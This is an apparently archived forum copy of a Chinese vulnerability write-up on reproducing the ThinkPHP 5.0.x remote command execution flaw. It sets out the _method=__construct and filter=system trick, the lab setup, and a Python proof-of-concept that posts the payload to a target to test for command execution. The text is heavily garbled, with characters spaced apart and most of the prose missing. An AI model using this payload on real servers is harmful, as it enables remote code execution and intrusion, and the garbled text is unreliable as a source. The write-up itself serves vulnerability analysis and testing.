[13697] 2019-01-26_ThinkPHP5.0命令执行漏洞分析及复现

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2019-01-26_ThinkPHP5.0命令执行漏洞分析及复现 T h i n k P H P   5 . 0   F r e e B u f   2 0 1 9 - 0 1 - 2 6 T h i n k P H P   5 . 0   T h i n k P H P     P H P 5 . 4   P H P 7     P H P   C o m p o s e r     A P I     T h i n k P H P 5 . 0 R e q u e s t m e t h o d 便 f i l t e r s y s t e m 便 T h i n k P H P   5 . 0 . 0   ~   T h i n k P H P   5 . 0 . 2 3   P O S T P U T     A p u t B p o s t $ _ P O S T [ ' _ m e t h o d ' ] $ _ P O S T [ ' _ m e t h o d ' ] = _ _ c o n s t r u c t < f o r m   m e t h o d = " p o s t "   a c t i o n = " " >         < i n p u t   t y p e = " t e x t "   n a m e = " n a m e "   v a l u e = " H e l l o " >         < i n p u t   t y p e = " h i d d e n "   n a m e = " _ m e t h o d "   v a l u e = " P U T "   >         < i n p u t   t y p e = " s u b m i t "   v a l u e = " " > < / f o r m > P O S T _ m e t h o d _ m e t h o d a p p l i c a t i o n c o n f i g . p h p / /   ' v a r _ m e t h o d '                           = >   ' _ m e t h o d ' , O S                 :   w i n d o w s 7 W e b s e r v e r   :   p h p s t u d y     ( a p a c h e   +   p h p 5 . 6 . 2 7 ) t h i n k p h p     :   5 . 0 . 2 0 / /   t h i n k p h p   a p p l i c a t i o n c o n f i g . p h p / /   ' a p p _ d e b u g '                             = >   t r u e , c d   D : p h p S t u d y W W W g i t   c l o n e   h t t p s : / / g i t h u b . c o m / t o p - t h i n k / t h i n k   t p 5 g i t   c h e c k o u t   v 5 . 0 . 2 2 c d   t p 5 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / t o p - t h i n k / f r a m e w o r k   t h i n k p h p g i t   c h e c k o u t   v 5 . 0 . 2 2
t h i n k p h p d e b u g a p a c h e p a y l o a d x d e b u g + p h p s t o r m t h i n k p h p f i l t e r f i l t e r c o n f i g . p h p t h i n k p h p / /   t h i n k p h p   a p p l i c a t i o n c o n f i g . p h p / /   ' a p p _ d e b u g '                             = >   t r u e ,
f i l t e r R e q u e s t f i l t e r r o u t e C h e c k $ r e q u e s r - > m e t h o d ( )
f i l t e r d e b u g _ m e t h o d = _ _ c o n s t r u c t _ _ c o n s t r u c t s y s t e m $ r e q u e s t - > p a r a m ( )
f i l t e r [ ' s y s t e m ' ] a r r a y _ w a l k _ r e c u r s i v e
t h i n k p h p f i l t e r 使 f i l t e r s y s t e m c a l l _ u s e r _ f u n c ( ' s y s t e m ' ,   ' d i r ' ) f i l t e r = ' '
 
u n s e t _ m e t h o d _ m e t h o d _ _ c o n s t r u c t
5 . 0 . 2 4 d e b u g   +   f i l t e r   =   f i l t e r f i l t e r   +   d e b u g   +   f i l t e r   =   *   F r e e B u f   #   c o d i n g = u t f - 8 i m p o r t   r e q u e s t s d e f   c h e c k ( i p ,   p o r t ,   t i m e o u t = 3 ) :         u r l   =   ' h t t p : / / { i p } : { p o r t } / t p 5 / p u b l i c / i n d e x . p h p ' . f o r m a t ( i p = i p ,   p o r t = p o r t )         #   u r l   =   ' h t t p : / / { i p } : { p o r t } / i n d e x . p h p ' . f o r m a t ( i p = i p ,   p o r t = p o r t )         d a t a   =   {                 ' _ m e t h o d ' : ' _ _ c o n s t r u c t ' ,                 ' f i l t e r ' : ' s y s t e m ' ,                 ' a ' : ' e c h o   a b c d ' ,         }         h e a d e r s   =   {                 ' c o n t e n t - t y p e '   :   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' ,                 ' u s e r - a g e n t '   :   ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 1 . 0 . 3 5 7 8 . 9 8   S a f a r i / 5 3 7 . 3 6 ' ,                 ' A c c e p t '   :   ' t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 '         }         r e s p   =   r e q u e s t s . p o s t ( u r l ,   d a t a = d a t a ,   h e a d e r s = h e a d e r s ,   t i m e o u t = t i m e o u t )         i f   r e s p . c o n t e n t . f i n d ( ' a b c d ' )   ! =   - 1 :                 r e t u r n   ' t h i n k p h p 5 . 0   '   +   u r l i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p r i n t   c h e c k ( ' 1 2 7 . 0 . 0 . 1 ' ,   ' 8 0 ' )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则